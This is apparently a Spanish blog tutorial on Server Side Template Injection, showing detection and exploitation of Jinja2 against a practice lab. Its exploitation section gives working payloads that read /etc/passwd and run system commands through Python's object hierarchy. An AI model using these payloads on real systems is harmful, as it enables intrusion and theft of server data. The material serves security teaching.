Las vulnerabilidades de SSTI (Server Side Template Injection) o como reza el título en español ‘Inyección de plantillas del lado del Servidor‘ es una de esas vulnerabilidades que más entretenidas se hacen de explotar y dado su alcance (en muchos casos), nos conducirá a obtener un RCE (Remote Code Execution), lo que lo convierte en algo serio.
Bien, pues empezaremos introduciendo un poco el concepto y describiendo el vector más básico de detección de esta vulnerabilidad. Para ello y antes de nada, no debo olvidar referenciar los siguientes enlaces en donde se detallan ampliamente de lo que trata esta vulnerabilidad:

Para resumirlo rápidamente, SSTI es una vulnerabilidad que aprovecha una implementación insegura de un motor de plantillas (template engine). Los motores de plantilla son empleado por las aplicaciones web para la presentación de datos dinámicos.
Por lo general, a menudo muchas inserciones de los usuarios que son posteriormente reflejadas en la respuesta de la aplicación web son interpretadas como vulnerabilidades de Cross-Site Scripting (XSS), sin embargo a través del aprovechamiento de esta vulnerabilidad es posible atacar directamente a los componentes internos del servidor web del objetivo.
Algunos motores de plantilla populares son los siguientes:

  • PHP: Smarty, Twig
  • Java: Velocity, FreeMarker
  • Python: Jinja, Mako, Tornado
  • JavaScript: Jade, Rage
  • Ruby: Liquid

Detección

Para poder ver todo esto más claro, vamos a ir con un ejemplo práctico. Para ello vamos a emplear el laboratorio de Sam Bown.

A través de una primera comprobación revisaremos la entrada de usuario «Search Users here…«

Para mayor comodidad en las comprobaciones y revisar las peticiones enviadas y respuestas del servidor, nos pondremos con el Repeater de BurpSuite.

Como parte de la metodología de actuación en estos casos, vamos a tomar en cuenta el siguiente diagrama (prestado de la gente de PortSwigger), que nos permitirá identificar el motor de plantilla empleado por esta aplicación web.

Por tanto, trasladaremos estas comprobaciones a nuestro objetivo para identificar el motor de plantilla.

Después de esta breve comprobación tendremos resuelta la primera necesidad: conocer el motor de plantilla empleado por la aplicación web, que en este caso se trata de Jinja2.

Será muy importante tener en cuenta la documentación de este motor de plantilla: https://jinja.palletsprojects.com/en/2.11.x/. Además de tomar en cuenta que este motor de plantilla tiene como base Python, lo que será muy relevante a la hora de llamar a recursos de este lenguaje cuando pretendamos preparar una acción en el servidor destino, como por ejemplo: ejecutar comandos del sistema.

Explotación

Si bien sabemos que una de las formas más básicas de ejecutar comandos del sistema en Python es a través de la siguiente manera:

import os
os.system('id')

Debemos tomar en cuenta que Jinja2 cuenta con algunas limitaciones, como la imposibilidad de declarar de forma directa import, por tanto esto anterior no nos será válido. Vamos ha realizarlo a través de una variante: revisando las clases de un objeto. Para esto emplearemos una cadena vacía que irá entre comillas simples, de la siguiente forma:

{{ ''.__class__ }}

Tomemos en cuenta que a nivel web esto se vería así:

Sin embargo en adelante, nos centraremos en la vista que ofrece BurpSuite.

Ahora valiendonos del atributo .__mro__ revisaremos las posibilidades de saltar (escalar) por el árbol de objetos.

{{ ''.__class__.__mro__ }}

.__mro__ que viene de Method Resolution Order, nos devuelve una lista de tipos de los que se deriva la jerarquía de clase, en el orden en que se buscan los métodos.

Por ahora nos centraremos en el tipo Object. Es decir en el tercer elemento mostrado, por tanto escribimos el número 2. Se debe tomar en cuenta que en Python se empieza a contar desde el 0.

{{ ''.__class__.__mro__[2] }}

Ya estando en la cima de la jerarquía es momento de revisar las subclases, para ello nos valdremos de .__subclasses__(). Aquí obtendremos toda la herencia de los atributos y métodos de una clase. Lo que viene siendo un «listadito guapo«.

{{ ''.__class__.__mro__[2].__subclasses__() }}

Como he comentado, el listado es amplio, ahora lo suyo es revisarlos todos.
A continuación un «truco» que suelo emplear para dejarlo algo más manejable:

A través del Intruder de BurpSuite haré un recorrido por todas las subclases mostradas.
{{ ''.__class__.__mro__[2].__subclasses__()[X] }}
En donde X será una posición numérica de la subclase.

En la posición 40 se observa un tipo de método interesante:

Emplearemos este método (file) para leer los archivos del sistema:

{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}

Otro elemento que resulta interesante de considerar es el ‘catch_warnings‘, este elemento (gestor de contexto) nos permitirá identificar cuando la ejecución de un determinado comando en el sistema se ha ejecutado de forma correcta o si por lo contrario ha arrojado algún tipo de error.

{{ ''.__class__.__mro__[2].__subclasses__()[59] }}

Llegados a este punto nos valdremos del módulo ‘builtins‘ que nos permitirá tomar acceso a todos los identificadores «integrados» de Python. Por tanto conformaremos la siguiente sentencia:

{% set loquesea = ''.__class__.__mro__[2].__subclasses__()[59] %}{{ loquesea()._module.__builtins__['__import__']('os').system("uname -a") }}

Esto nos devolverá el resultado esperado en caso de ser 0, si no fuese así, será indicativo que algo no ha resultado correcto en la operación.

Bien, ahora llega el momento de exfiltrar esta información y para ello enviaremos el resultado del comando ejecutado a algún fichero temporal y posteriormente lo leeremos de la forma que ya hemos comentado líneas más arriba.

{% set loquesea = ''.__class__.__mro__[2].__subclasses__()[59] %}{{ loquesea()._module.__builtins__['__import__']('os').system("uname -a > /tmp/result.txt") }}{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/result.txt').read() }}

A nivel web esta será la presentación:

Y bien, como he dicho al inicio, la cosa se pone entretenida en este punto, lo que se pueda hacer estará sujeto netamente a la creatividad de quien aproveche esta vulnerabilidad. Espero que os entre el gusanillo por indagar más sobre estas técnicas y variantes. Conmigo será hasta la próxima entrada.

Referencias: